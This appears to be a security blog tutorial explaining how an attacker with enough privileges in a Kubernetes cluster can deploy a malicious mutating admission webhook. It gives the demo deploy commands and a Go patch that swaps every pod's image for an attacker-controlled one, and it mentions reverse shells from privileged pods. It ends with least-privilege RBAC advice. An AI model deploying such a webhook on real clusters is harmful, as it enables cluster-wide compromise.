Admission controllers play a crucial role in Kubernetes & are leveraged by multiple tools & teams to defend the clusters. A simple misconfiguration in the setup allows attackers to effortlessly leverage this defensive feature to perform offensive attacks. In this article, we will create a malicious admission controller, understand the technicalities, and analyze its impact.
Stackrox has done an amazing job of demonstrating the usage of admission controllers to defend the Kubernetes clusters. We will modify their code to demonstrate an offensive attack scenario.
Introduction to admission controllers
An admission controller is a piece of code that intercepts requests to the Kubernetes API server before the persistence of the object, but after the request is authenticated and authorized.
Workflow & Types of controllers:
- MutatingAdmissionWebhook (modifies the object if it desires)
- ValidatingAdmissionWebhook (validates the object if it desires)
If either of the controllers rejects the request, the entire request is rejected immediately and an error is returned to the end-user.
Uses of admission controller
Tools like OPA, Kyverno, and many others leverage admission controllers to enforce more security.
- Limit requests to create, delete, modify, and other specific operations
- Allows enforcing granular rules
- Highly effective in hardening Kubernetes clusters
Exploitation
Admission controllers are built to defend the systems & harden the infrastructure but a simple misconfiguration can lead to nightmares & deadly attacks.
Creating malicious admission controller
Once an attacker gets into a misconfigured cluster, they can perform n number of operations. If the attacker has privileges to create a deployment, service & mutating webhook admission controller, then it's pretty much game over. Hence, exploiting admission controllers can be categorized as part of a post-exploitation phase.
The source code of the demo is available, here.
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Wait until the webhook server is ready. Check the status.
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Once we have our malicious mutating webhook running, let's deploy a new pod.
kubectl run nginx --image nginx
kubectl get po -w
Wait again, until you see the change in pod status. Now, you can see ErrImagePull
error. Check the image name with either of the queries.
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
As you can see in the above image, we tried running image nginx
but the final executed image is rewanthtammana/malicious-image
. What just happened!!?
Technicalities
We will unfold what just happened. The ./deploy.sh
script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results.
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image
.
Example attack scenario
An attacker can perform various attacks. For instance,
- Run pods/deployments with privileged flags, high capabilities, etc.
- Write a custom image, that throws reverse shell from all pods to attacker's personal machine.
By combining the above two threat vectors, attackers can gain access to all worker nodes by getting reverse shells from pods running with high privileges.
Conclusion
If an attacker is able to create a mutating webhook admission controller, they will have access to perform privileged operations and it can be disastrous. Admission controllers are highly effective to perform validations on the resources getting created, harden the deployments, etc. A simple RBAC with the least privileges could have prevented this massive attack.